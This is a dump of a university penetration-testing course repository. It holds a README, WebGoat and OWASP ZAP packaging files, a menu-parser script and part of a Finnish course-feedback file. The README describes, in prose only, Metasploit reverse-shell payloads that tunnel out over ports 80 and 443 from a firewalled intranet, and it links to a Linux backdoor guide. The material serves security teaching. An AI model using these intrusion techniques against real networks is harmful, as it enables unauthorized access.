├── README.md ├── blackarch ├── .gitignore ├── README.md ├── mate-desktop │ ├── .gitignore │ └── mygtkmenu │ │ ├── README.md │ │ ├── blackarch-tools.desktop │ │ ├── blackarch.items │ │ └── mygtkitems.sh ├── webgoat │ ├── PKGBUILD │ ├── README.md │ ├── webgoat.service │ └── webgoat.sh └── zaproxy-systemd │ ├── PKGBUILD │ ├── README.md │ └── zaproxy.service ├── exercises ├── course_feedback.md ├── h1.md ├── h2.md ├── h3.md ├── h4.md ├── h5.md ├── h6.md └── h7.md ├── images ├── attack_principle-1.png ├── attack_principle-2.png └── linux_hypervisor_rootkit.png └── random ├── linux-backdoor.md └── linux-rootkit-realcase.md /README.md: -------------------------------------------------------------------------------- 1 | # Offensive penetration testing 2 | 3 | Aim of this repository is to present and simulate multiple attack types against web applications and various OSes, including Microsoft Windows. 4 | 5 | --------------- 6 | 7 | ## About 8 | 9 | **NOTE: Applying and carrying out the practices described below _can be considered as a criminal act_**. Instructions described on this website have been carried out in a precisely limited scope/environment, in accordance with the terms of use, and accepted by all relevant parties beforehand without affecting outside parties. The hostile practices defined here are not directed to any innocent third parties. 10 | 11 | Before utilizing these instructions in your environment, make sure that your actions will be legal and authorized, carried out in a limited scope and with transparency so that every affected party is aware of your actions and accepted them in full scale beforehand. In addition, any affected party must know consequences and risks involved in your actions. 12 | 13 | **DISCLAIMER:** Author of the instructions neither encourage or take responsibility of any misuse or criminal actions which are based on the instructions below! 14 | 15 | --------------- 16 | 17 | **This repository...** 18 | 19 | - ...utilizes [OWASP top 10 list of the most common attack types](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) 20 | 21 | - ...utilizes multiple penetration methods with various tools, including [Kali Linux](https://www.kali.org) and [Metasploit Framework](https://www.metasploit.com) 22 | 23 | The repository is mainly set up as a requirement by a school cource in Haaga-Helia University of Applied Sciences, Helsinki, Finland. It contains various exercises, translated to English. 24 | 25 | ## Table of Contents 26 | 27 | - [Exercise 1](exercises/h1.md) - OWASP Top 10, OWASP WebGoat 28 | 29 | - [Exercise 2](exercises/h2.md) - HackTheBox Environment, Nmap (port scanning), Metasploit Framework, OWASP WebGoat 30 | 31 | - [Exercise 3](exercises/h3.md) - Vulnerability Scanners (passwords, directories, ports etc.), Source Code Analysis of a Malicious Program, Authentication Bypass 32 | 33 | - [Exercise 4](exercises/h4.md) - CTF Hacking Challenges, Stuxnet 34 | 35 | - [Exercise 5](exercises/h5.md) - Trojan Horse (docx, pdf, GZDoom), Conficker Worm, Security Blogs/Articles, DHCP Starvation Attack (Denial of Service) 36 | 37 | - [Exercise 6](exercises/h6.md) - Android Backdoor, Trojan Horse (SteamSetup.exe), OSINT Techniques 38 | 39 | - [Exercise 7](exercises/h7.md) - Unicorn/Powershell Attack (docx), HTTP Server Hacking Challenge, Google Project Zero (Exploitation of Linux kernel vulnerability) 40 | 41 | - [Course feedback (in Finnish)](exercises/course_feedback.md) 42 | 43 | - [BlackArch Linux - Personal configurations](#blackarch-linux---personal-configurations) 44 | 45 | - [Iptables ruleset for a simple server](#iptables-ruleset-for-a-simple-server) 46 | 47 | - [Fake Apache server HTTP response codes](#fake-apache-server-http-response-codes) 48 | 49 | - [Find old package versions at high risk on Arch Linux using updated CVE data](#find-old-package-versions-at-high-risk-on-arch-linux-using-updated-cve-data) 50 | 51 | ## Other contents 52 | 53 | ### [Linux backdoor](random/linux-backdoor.md) 54 | 55 | - Create backdoor for Linux victim machine(s). Does not require server environment, applies to Linux clients, too. Requires social engineering tactics. 56 | 57 | ### [BlackArch Linux - Personal configurations](blackarch/) 58 | 59 | - [OWASP WebGoat](blackarch/webgoat) - Install [OWASP WebGoat](https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project) as a systemd user service 60 | 61 | - [OWASP Zed Attack Proxy](blackarch/zaproxy-systemd) - Install [OWASP ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) as a systemd user service 62 | 63 | - [MATE Desktop/myGtkMenu](blackarch/mate-desktop) - Convert BlackArch Openbox penetration tool menu entries into [myGtkMenu](https://sites.google.com/site/jvinla/mygtkmenu) compliant format, use these entries with myGtkMenu 64 | 65 | ------------------ 66 | 67 | ### Iptables ruleset for a simple server 68 | 69 | Iptables firewall ruleset featuring the following: 70 | 71 | > 1) Do not respond to ping echoes by clients (possibly reduce spambots) 72 | 73 | > 2) Reject connection if too intense attempts. Useful against port scanners such as [Nmap](https://nmap.org/) and other brute force scanners such as [Dirbuster](https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project). 74 | 75 | > 3) Drop all incoming connections, apply only SSH, HTTP and HTTPS 76 | 77 | - [[File] iptables.rules / Fincer - Linux server setup](https://github.com/Fincer/linux-server-setup/blob/master/other/iptables.rules) 78 | 79 | ------------------ 80 | 81 | ### Fake Apache server HTTP response codes 82 | 83 | - [[Patch] Apache - Manipulate standard HTTP header response codes](https://github.com/Fincer/linux-server-setup/blob/master/patches/patch_apache_break_http_code_standard.patch) 84 | 85 | - Manipulate HTTP header response codes returned to a client by Apache HTTP server. 86 | 87 | > 1) Server HTTP response codes in range 402-451 are returned as error code 400 response instead. 88 | 89 | > 2) Server HTTP response codes in range 500-511 are returned as error code 400 response instead. 90 | 91 | > 3) Server HTTP response codes in range 100-308 are returned normally, including 200 OK message. 92 | 93 | - [[Patch] Apache - Remove default HTML error message from all error pages](https://github.com/Fincer/linux-server-setup/blob/master/patches/patch_apache_disable_html_errormsg.patch) 94 | 95 | - Remove default error pages returned by an erroneous HTTP client request. 96 | 97 | - Remove additional HTML error messages as well (such as ones generated by servers behind an Apache proxy, if [ProxyErrorOverride On](https://httpd.apache.org/docs/2.4/mod/mod_proxy.html#proxyerroroverride) directive is used) 98 | 99 | **NOTE:** These are experimental patches for Apache HTTP web server, use with caution. Feel free to modify them! The server configuration can easily break because we break very deep standards here, just be aware and proceed with care! Thanks! 100 | 101 | **NOTE:** This patchset is useful in some cases but it can bury underneath problems in server 102 | configuration. Thus, use discretion before implementing the patches in your Apache server. 103 | 104 | **NOTE:** Apache *will complain* about missing error codes after you have applied this patchset and if you have custom error redirections in your `.htaccess` or in other settings. This is why you need to adjust your custom `ErrorDocument` directives and equivalent settings (RewriteRules, for instance) in your VirtualHost/Page configuration file (`/etc/{apache2,httpd}/sites-available/*.conf`). 105 | 106 | ------------------ 107 | 108 | ### Find old package versions at high risk on Arch Linux using updated CVE data 109 | 110 | [[Bash script] archrisks.sh - Fincer/archtools](https://github.com/Fincer/archtools/blob/master/tools/archrisks.sh) 111 | 112 | Check packages on your system and find out number of potential CVE issues and evaluate generic risk of an outdated package on your Arch Linux system. **Does not give detailed information, just a basic summary**. Do further analysis for any package if needed on [Arch security database](https://security.archlinux.org/) and using [regular CVE databases](https://www.searx.me/?q=cve%20database) 113 | 114 | - Requires Arch Linux (core dependencies are: [pacman](https://www.archlinux.org/packages/core/x86_64/pacman/) and [arch-audit](https://www.archlinux.org/packages/community/x86_64/arch-audit/), [bc](https://www.archlinux.org/packages/extra/x86_64/bc/) and [bash](https://www.archlinux.org/packages/core/x86_64/bash/) version 4 or higher) 115 | 116 | - Simple **bash** shell script 117 | 118 | - CVE security information from [Arch security database](https://security.archlinux.org/) 119 | 120 | - **NOTE** `sudo` is required for package database updates retrieved by `pacman`. If in doubt, you can always check the script yourself ([link here](https://github.com/Fincer/archtools/blob/master/tools/archrisks.sh)). 121 | 122 | ![](https://raw.githubusercontent.com/Fincer/archtools/master/images/archrisks.png) 123 | 124 | ------------------ 125 | 126 | ## Attack principle - unauthorized access to private intranet 127 | 128 | ![](images/attack_principle-1.png) 129 | 130 | _In this demonstration, I fired up a network environment with 1x Raspberry Pi, 1x strictly firewalled DD-WRT router, 1x physical computer & 1x virtual machine. Router established a LAN network for Raspberry Pi, whereas its WAN interface was connected to the physical computer, demonstrating common internet connection. Attack machine ran virtually inside the physical computer, with virtual network interface. Proper iptables & routing policy was applied both to the router and the physical computer, as seen in the image below._ 131 | 132 | ![](images/attack_principle-2.png) 133 | _Sorry for this messy image: Just follow the numbers, and you may get the whole idea. This screenshot bundle is directly related to the first image above._ 134 | 135 | As we can learn, human is the weakest factor here. If your users do not follow strict network policy, this scenario is possible. For attack purposes, I used basic TCP/443 (HTTPS) & TCP/80 (HTTP) ports in payloads, and these ports were used to establish outgoing connection to my rogue Metasploit reverse shell process. Basically, it is very difficult to block this connection type if you allow users to access basic HTTP(S)-based websites from intranet. 136 | 137 | ------------------ 138 | 139 | ## Real life case - infected Arch Linux KVM hypervisor host 140 | 141 | Please see [Real life case: Hostile Linux rootkit on my system. How did I get infected by a real Linux rootkit first time in my life?](random/linux-rootkit-realcase.md) for details. 142 | 143 | ------------------ 144 | 145 | ## Disclaimer 146 | 147 | Author of this repository is not responsible for any possible illegal or malicious usage of any files or instructions provided by this repository. The repository is provided as an act of good will and does not intend to encourage users to participate in any illegal activities. All exercises presented in this repository have been carried out in a pre-configured test environment, minimizing any possible attack vectors or unintended harm to outside parties. 148 | 149 | ------------------ 150 | 151 | ## About this repository (update, 14th August 2020) 152 | 153 | Further development of this repository has been mainly halted. Additional + extended penetration testing, security testing & research is being done on a private repository for now. This policy may or may not change in the future. 154 | -------------------------------------------------------------------------------- /blackarch/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /blackarch/README.md: -------------------------------------------------------------------------------- 1 | # Various settings & tools for BlackArch Linux 2 | 3 | ------------------- 4 | 5 | ## CONTENTS 6 | 7 | ### mate-desktop 8 | 9 | - BlackArch penetration tools configuration for [MATE desktop](mate-desktop.org) 10 | 11 | 12 | ### webgoat 13 | 14 | - Installs [OWASP WebGoat](https://www.owasp.org/index.php/WebGoat_Installation) on BlackArch Linux with the official package manager `pacman`. 15 | 16 | - Adds WebGoat as a new Systemd user service which can be started during system boot-up. 17 | 18 | 19 | ### zaproxy-systemd 20 | 21 | - Adds [OWASP Zed Attack Proxy (ZAP)](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) as a new Systemd user service which can be started during system boot-up. 22 | 23 | ------------------- 24 | 25 | ## MISCELLANEOUS 26 | 27 | Start OpenVPN automatically during system boot-up: 28 | 29 | ``` 30 | sudo systemctl enable openvpn-client@myuser.service 31 | ``` 32 | -------------------------------------------------------------------------------- /blackarch/mate-desktop/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /blackarch/mate-desktop/mygtkmenu/README.md: -------------------------------------------------------------------------------- 1 | # BlackArch - Openbox menu items for other desktops 2 | 3 | ## About 4 | 5 | Files in this directory aim to offer all BlackArch penetration tools for users who use unsupported desktop environments such as MATE, KDE/Plasma or Gnome. 6 | 7 | Normally, BlackArch penetration and hacking tools are available only for users of simple desktops (Openbox, i3, ... etc.) 8 | 9 | ----------------------- 10 | 11 | ## myGtkmenu 12 | 13 | [myGtkmenu](https://sites.google.com/site/jvinla/mygtkmenu) provides a simple application launcher menu for user-defined commands. The menu can be used on multiple Linux desktop environments. 14 | 15 | ### mygtkitems.sh 16 | 17 | This script file aims to parse all Openbox XML menu entries to myGtkmenu compatible format. By default, it creates a valid `$HOME/blackarch.items` menu file for myGtkmenu. 18 | 19 | ### blackarch.items 20 | 21 | A sample menu/command list, parsed from default BlackArch Openbox menu.xml file (you can generate this file yourself by running `bash mygtkitems.sh`) 22 | 23 | ### blackarch-tools.desktop 24 | 25 | A sample desktop entry file for opening myGtkmenu program 26 | 27 | ----------------------- 28 | 29 | ## Notes 30 | 31 | ### Not all Openbox menu entries are visible in myGtkmenu! 32 | 33 | As BlackArch Openbox menu.xml contains over 50 submenus, it seems that myGtkmenu has a limitation which limits visible submenu entries to around 20. Therefore, please be aware that not all Openbox menu entries are visible in myGtkmenu launcher! 34 | -------------------------------------------------------------------------------- /blackarch/mate-desktop/mygtkmenu/blackarch-tools.desktop: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env xdg-open 2 | [Desktop Entry] 3 | Name=BlackArch Tools 4 | 5 | GenericName=BlackArch Tools 6 | Comment=Use BlackArch penetration tools 7 | 8 | TryExec=mygtkmenu 9 | Exec=bash -c 'mygtkmenu ~/blackarch.items' 10 | Icon=/home/black/blackarch-launcher.jpg 11 | Type=Application 12 | Categories=Utility; 13 | StartupNotify=true 14 | -------------------------------------------------------------------------------- /blackarch/mate-desktop/mygtkmenu/mygtkitems.sh: -------------------------------------------------------------------------------- 1 | #!/bin/env bash 2 | 3 | # Simple Openbox to myGtkmenu menu items parser 4 | # Copyright (C) 2018 Pekka Helenius 5 | # 6 | # This program is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program. If not, see . 18 | 19 | #################################################### 20 | 21 | # Obenbox menu file 22 | # Default: /etc/xdg/openbox/menu.xml 23 | 24 | OB_MENUFILE="/etc/xdg/openbox/menu.xml" 25 | 26 | # myGtkMenu output menu file 27 | # Default: ${HOME}/mygtkmenu.items 28 | 29 | GTK_MENUFILE="${HOME}/mygtkmenu.items" 30 | 31 | # Icon for menu categories 32 | ICON_MENU="/usr/share/icons/Humanity/actions/24/stock_right.svg" 33 | 34 | # Icon for menu items 35 | ICON_CMD="/usr/share/icons/Humanity/apps/24/terminal.svg" 36 | 37 | ########################## 38 | 39 | # Slash conversion for sed stream: 40 | 41 | ICON_MENU=$(printf "${ICON_MENU}" | sed 's|/|\\/|g') 42 | ICON_CMD=$(printf "${ICON_CMD}" | sed 's|/|\\/|g') 43 | 44 | ########################## 45 | 46 | echo -e "\niconsize = 25\n" > "${GTK_MENUFILE}" 47 | 48 | [ $? -ne 0 ] && exit 1 49 | 50 | ########################## 51 | 52 | # Line count 53 | i_all=$(grep -E "|$| 60 | *.*<\/command>$" "${OB_MENUFILE}" 61 | ); 62 | do 63 | echo -en "Writing item line parameter $i of $i_all ( $(( (100 * $i / $i_all) ))% ) \r" 64 | echo $item | sed -E \ 65 | " 66 | s/\"//g; 67 | s/=/ = /g; 68 | s/^(.*)/ cmd = \1\n icon = ${ICON_CMD}\n/g; 69 | s/<\/command>//g; 70 | s///g; 72 | s/^> "${GTK_MENUFILE}"; let i++; 75 | done 76 | 77 | # https://www.gnu.org/software/sed/manual/html_node/The-_0022s_0022-Command.html 78 | 79 | ########################## 80 | 81 | [ $? -ne 0 ] && exit 1 82 | 83 | # If the line contains 'item = ' and is followed by an empty line, delete item. 84 | # 85 | sed -i '/item = /{$!N;/\n\n*$/!P;D}' "${GTK_MENUFILE}" 86 | 87 | # If the last line does not have 'icon =', delete it: 88 | sed -i '${/icon = /!d;}' "${GTK_MENUFILE}" 89 | 90 | ########################## 91 | 92 | echo -e "Success! Use the generated menu file with myGtkmenu. A sample desktop file for myGtkmenu is found at \n\n\ 93 | https://github.com/Fincer/penetration-testing/blob/master/blackarch/mate-desktop/mygtkmenu/blackarch-tools.desktop \ 94 | \n" 95 | 96 | exit 0 97 | -------------------------------------------------------------------------------- /blackarch/webgoat/PKGBUILD: -------------------------------------------------------------------------------- 1 | # Maintainer: tuxayo < victor (replace by @) tuxayo DOT net > 2 | # Contributor: Lex Black 3 | # Contributor: fnord0 < fnord0 AT riseup DOT net > 4 | # Contributor: Andrejs Mivreņiks 5 | # Contributor: tuxayo < victor (replace by @) tuxayo DOT net > 6 | # Contributor: Pekka Helenius < fincer89 at hotmail DOT com > 7 | pkgname=webgoat 8 | pkgver=8.0.0.M21 9 | pkgrel=1 10 | pkgdesc='Deliberately insecure J2EE web application designed to teach web application security concepts' 11 | arch=('i686' 'x86_64') 12 | url='https://github.com/WebGoat/WebGoat' 13 | license=('GPL2') 14 | depends=('java-runtime' 'systemd') 15 | optdepends=('webscarab: proxy for analyzing applications that communicate using the HTTP and HTTPS protocols, used to help solve most WebGoat lessons' 16 | 'paros: MitM HTTP/HTTPS proxy, spider, XSS and injection 17 | scanner + more, used to help solve WebGoat lessons') 18 | source=("https://github.com/WebGoat/WebGoat/releases/download/v${pkgver}/webgoat-server-${pkgver}.jar" 19 | "webgoat.sh" 20 | "webgoat.service") 21 | sha256sums=('df4d52eb39ce77ecefccec5b791303eef18967010d989ce60db88c1c65cb8581' 22 | '96c397608902e58d5771b6aa3b79c5b562ea221bd89ed45ef04b1f413ea11111' 23 | 'cee01e0a93f8cea8a991eba8ac147a8719f89a2b915530755350b0522c74a0a7') 24 | 25 | package() { 26 | cd "$srcdir" 27 | install -Dm755 webgoat.sh "$pkgdir/usr/bin/webgoat" 28 | install -Dm644 "webgoat-server-${pkgver}.jar" "$pkgdir/opt/$pkgname/webgoat.jar" 29 | install -Dm644 webgoat.service "$pkgdir/usr/lib/systemd/system/webgoat@.service" 30 | 31 | msg2 ' 32 | Start WebGoat automatically during boot by issuing: 33 | sudo systemctl enable webgoat@myuser.service 34 | 35 | Start WebGoat manually: 36 | sudo systemctl start webgoat@myuser.service 37 | 38 | where 'myuser' is your username (non-root) 39 | 40 | WebGoat login page URL: 41 | http://localhost:1234/WebGoat/login 42 | ' 43 | 44 | } 45 | -------------------------------------------------------------------------------- /blackarch/webgoat/README.md: -------------------------------------------------------------------------------- 1 | ## OWASP WebGoat for BlackArch Linux 2 | 3 | This folder has files for OWASP WebGoat installation on BlackArch Linux. 4 | 5 | ----------------------- 6 | 7 | ### CONTENTS 8 | 9 | - PKGBUILD 10 | 11 | - Original source: [Arch Linux AUR database - webgoat/PKGBUILD](https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=webgoat) 12 | 13 | - An Arch Linux PKGBUILD script file for OWASP WebGoat 14 | 15 | - webgoat.sh 16 | 17 | - Original source: [Arch Linux AUR database - webgoat/webgoat.sh](https://aur.archlinux.org/cgit/aur.git/tree/webgoat.sh?h=webgoat) 18 | 19 | - A simple shell script executable for webgoat.service, installed as /usr/bin/webgoat 20 | 21 | - webgoat.service 22 | 23 | - Systemd unit service file to start OWASP WebGoat as a *user* service 24 | 25 | ----------------------- 26 | 27 | ### HOW-TO 28 | 29 | 1. Download these files 30 | 31 | 2. Run `updpkgsums && makepkg` on Arch Linux 32 | 33 | 3. (a) Start WebGoat automatically during boot by issuing: 34 | 35 | `sudo systemctl enable webgoat@myuser.service` 36 | 37 | 3. (b) Start WebGoat manually: 38 | 39 | `sudo systemctl start webgoat@myuser.service` 40 | 41 | where myuser is your username (non-root) 42 | 43 | 4. Open WebGoat login page URL after a while: 44 | 45 | `http://localhost:1234/WebGoat/login` 46 | 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /blackarch/webgoat/webgoat.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=OWASP WebGoat Server 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | User=%i 8 | ExecStart=/usr/bin/webgoat --server.port=1234 --server.address=localhost 9 | PrivateTmp=true 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /blackarch/webgoat/webgoat.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | if [ $UID -eq 0 ]; then 3 | echo 'You really should not run this application as root.' 4 | echo 'If you know what you are doing, use "java -jar /opt/webgoat/webgoat.jar" command instead.' 5 | exit 1 6 | fi 7 | /usr/bin/java --add-modules java.xml.bind -jar /opt/webgoat/webgoat.jar $@ 8 | -------------------------------------------------------------------------------- /blackarch/zaproxy-systemd/PKGBUILD: -------------------------------------------------------------------------------- 1 | # Maintainer: Pekka Helenius < fincer89 at hotmail DOT com > 2 | 3 | pkgname=zaproxy-service 4 | pkgver=1 5 | pkgrel=1 6 | pkgdesc='Start OWASP Zed Attack Proxy as a user service' 7 | arch=('any') 8 | license=('GPL3') 9 | depends=('zaproxy' 'systemd') 10 | source=("zaproxy.service") 11 | sha256sums=('d219630b530cbad77714c4f5a8e3160f4b3f22f9c8d0f7fc036f6f7bc81d9b51') 12 | 13 | package() { 14 | cd "$srcdir" 15 | install -Dm644 zaproxy.service "$pkgdir/usr/lib/systemd/system/zaproxy@.service" 16 | 17 | msg2 ' 18 | Start OWASP ZAP automatically during boot by issuing: 19 | sudo systemctl enable zaproxy@myuser.service 20 | 21 | Start OWASP ZAP manually: 22 | sudo systemctl start zaproxy@myuser.service 23 | 24 | where 'myuser' is your username (non-root) 25 | ' 26 | 27 | } 28 | -------------------------------------------------------------------------------- /blackarch/zaproxy-systemd/README.md: -------------------------------------------------------------------------------- 1 | ## OWASP Zed Attack Proxy (ZAP) as a Systemd user service for BlackArch Linux 2 | 3 | Automate OWASP ZAP start-up with this systemd unit 4 | 5 | ----------------------- 6 | 7 | ### CONTENTS 8 | 9 | - PKGBUILD 10 | 11 | - An Arch Linux PKGBUILD script file for OWASP ZAP Systemd service 12 | 13 | - zaproxy.service 14 | 15 | - Systemd unit service file to start OWASP ZAP as a *user* service 16 | 17 | ----------------------- 18 | 19 | ### HOW-TO 20 | 21 | 1. Download these files 22 | 23 | 2. Run `updpkgsums && makepkg` on Arch Linux 24 | 25 | 3. (a) Start OWASP ZAP automatically during boot by issuing: 26 | 27 | `sudo systemctl enable zaproxy@myuser.service` 28 | 29 | 3. (b) Start OWASP ZAP manually: 30 | 31 | `sudo systemctl start zaproxy@myuser.service` 32 | 33 | where myuser is your username (non-root) 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /blackarch/zaproxy-systemd/zaproxy.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=OWASP ZAP Proxy 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | User=%i 8 | Environment="DISPLAY=:0" 9 | Environment="XAUTHORITY=/home/%i/.Xauthority" 10 | ExecStart=/bin/zaproxy 11 | PrivateTmp=true 12 | 13 | [Install] 14 | WantedBy=default.target 15 | -------------------------------------------------------------------------------- /exercises/course_feedback.md: -------------------------------------------------------------------------------- 1 | # Penetration testing - vapaamuotoinen palaute kurssitoteutuksesta 2 | 3 | # Sisällysluettelo 4 | 5 | - [Opitko jotakin? - Omaa taustaa ja kyberturvallisuus](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#opitko-jotakin---omaa-taustaa-ja-kyberturvallisuus) 6 | 7 | - [Opitko jotakin? - Oma oppiminen](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#opitko-jotakin---oma-oppiminen) 8 | 9 | - [Opitko jotakin? - Kurssin keskeinen opetus](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#opitko-jotakin---kurssin-keskeinen-opetus) 10 | 11 | - [Opitko jotakin? - Hyökkäystyökalujen määrä on rajaton](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#opitko-jotakin---hy%C3%B6kk%C3%A4ysty%C3%B6kalujen-m%C3%A4%C3%A4r%C3%A4-on-rajaton) 12 | 13 | - [Opitko jotakin? - Hyöty kurssin ulkopuolella](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#opitko-jotakin---hy%C3%B6ty-kurssin-ulkopuolella) 14 | 15 | - [Opitko jotakin? - Laajasti käytettyjen ammattiratkaisujen heikko suojaus yllättää](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#opitko-jotakin---laajasti-k%C3%A4ytettyjen-ammattiratkaisujen-heikko-suojaus-yll%C3%A4tt%C3%A4%C3%A4) 16 | 17 | - [Opitko jotakin? - Tietoturva ja käytännöllisyys](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#opitko-jotakin---tietoturva-ja-k%C3%A4yt%C3%A4nn%C3%B6llisyys) 18 | 19 | - [Opitko jotakin? - Loppukäyttäjän ohjelmat](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#opitko-jotakin---loppuk%C3%A4ytt%C3%A4j%C3%A4n-ohjelmat) 20 | 21 | - [Opitko jotakin? - Uhkien tunnistus](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#opitko-jotakin---uhkien-tunnistus) 22 | 23 | - [Missä aiot hyödyntää taitoja kurssin ulkopuolella? - Oma oppiminen jatkossa](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#miss%C3%A4-aiot-hy%C3%B6dynt%C3%A4%C3%A4-taitoja-kurssin-ulkopuolella---oma-oppiminen-jatkossa) 24 | 25 | - [Miten voisin parantaa kurssia? - Kurssin jatkokehitys](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#miten-voisin-parantaa-kurssia---kurssin-jatkokehitys) 26 | 27 | - [Perustietoa: Hyvä lähtölaukaus penetraatiotestauksen maailmaan](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#perustietoa-hyv%C3%A4-l%C3%A4ht%C3%B6laukaus-penetraatiotestauksen-maailmaan) 28 | 29 | - [Perustietoa: OWASP](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#perustietoa-owasp) 30 | 31 | - [Perustietoa: Stuxnet ja tieteelliset artikkelit](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#perustietoa-stuxnet-ja-tieteelliset-artikkelit) 32 | 33 | - [Korkattavat koneet: Walkthrough vs. DIY](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#korkattavat-koneet-walkthrough-vs-diy) 34 | 35 | - [Tekniikat](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#tekniikat) 36 | 37 | - [Tekniikat: Skannausten agressiivisuudesta](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#tekniikat-skannausten-agressiivisuudesta) 38 | 39 | - [Tekniikat: Porttiskannauksen perusteet?](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#tekniikat-porttiskannauksen-perusteet) 40 | 41 | - [Kotitehtävät](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#kotiteht%C3%A4v%C3%A4t) 42 | 43 | - [Kotitehtävät: tehtävien merkitys ja tiedonsaanti](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#kotiteht%C3%A4v%C3%A4t-teht%C3%A4vien-merkitys-ja-tiedonsaanti) 44 | 45 | - [Kotitehtävät: käytetty aika](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#kotiteht%C3%A4v%C3%A4t-k%C3%A4ytetty-aika) 46 | 47 | - [Kurssin opetuslinjaus: huolellisesti opeteltu tekniikka vs. uuden oppiminen](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#kurssin-opetuslinjaus-huolellisesti-opeteltu-tekniikka-vs-uuden-oppiminen) 48 | 49 | - [Tehtävät ja tekniikat: yksi ohje ei päde](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#teht%C3%A4v%C3%A4t-ja-tekniikat-yksi-ohje-ei-p%C3%A4de) 50 | 51 | - [Muuta: Kurssin opintopistemäärän kasvattaminen?](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#muuta-kurssin-opintopistem%C3%A4%C3%A4r%C3%A4n-kasvattaminen?) 52 | 53 | - [Muuta: kurssille jatkoa?](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#muuta-kurssille-jatkoa) 54 | 55 | - [Kurssikoe](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#kurssikoe) 56 | 57 | - [Viihdyitkö kurssilla?](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#viihdyitk%C3%B6-kurssilla) 58 | 59 | - [Suosittelisitko kurssia? Kenelle? Koulutoverille tai kollegalle?](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#suosittelisitko-kurssia-kenelle-koulutoverille-tai-kollegalle) 60 | 61 | - [Tämä oli Haaga-Helian ensimmäinen pentesting-kurssi koskaan. Kannattaako Pentesting-kurssia järjestää tulevaisuudessa?](https://github.com/Fincer/penetration-testing/blob/master/exercises/course_feedback.md#t%C3%A4m%C3%A4-oli-haaga-helian-ensimm%C3%A4inen-pentesting-kurssi-koskaan-kannattaako-pentesting-kurssia-j%C3%A4rjest%C3%A4%C3%A4-tulevaisuudessa) 62 | 63 | ---------------------- 64 | 65 | ## Opitko jotakin? - Omaa taustaa ja kyberturvallisuus 66 | 67 | ### **Lyhyesti:** 68 | > Mitä opetti: Kurssi avasi tietoturvan ja kyberturvallisuuden maailman eteen uudella tavalla. 69 | 70 | > Kurssin aihepiiristä voisi järjestää kokonaisen koulutushaaran? 71 | 72 | Olen käyttänyt ja ylläpitänyt eri Linux-distribuutioita vuodesta 2011 lähtien, noin 7.5 vuotta. Tästä huolimatta avasi kurssi itselleni konkreettisesti uuden maailman, mikä on pidemmällä tähtäimellä kurssin suurin anti suoritettujen harjoitusten lisäksi: Mitä enemmän penetraatiotestauksen maailmaa katsoo myös kurssin ulkopuolelta käsin, sen enemmän ymmärrän, että kyberturvallisuus on maailma, josta monet luulevat tietävänsä, ja itse tiedän, kuinka vähän tiedän. Kurssin pituus ei yksinkertaisesti riitä käsittelemään kaikkea kyberturvallisuuteen liittyvää asiasisältöä, ja loppu oppiminen onkin opiskelijan itsensä tai mahdollisten jatko-opintojen käsissä. 73 | 74 | Kyberturvallisuudessa on yksinkertaisesti aihepiiri, josta voisi järjestää kokonaisen IT-koulutushaaran oppilaitoksessa. Kyberturvallisuus leikkaa nykymaailmassa montaa eri ammattialaa, koska maailma on monessa kolkassa työntymässä yhä enemmissä määrin IT-ratkaisujen varaan. Tämä korostaa kyberturvallisuuskoulutuksen tärkeyttä entisestään, ei vain Suomen 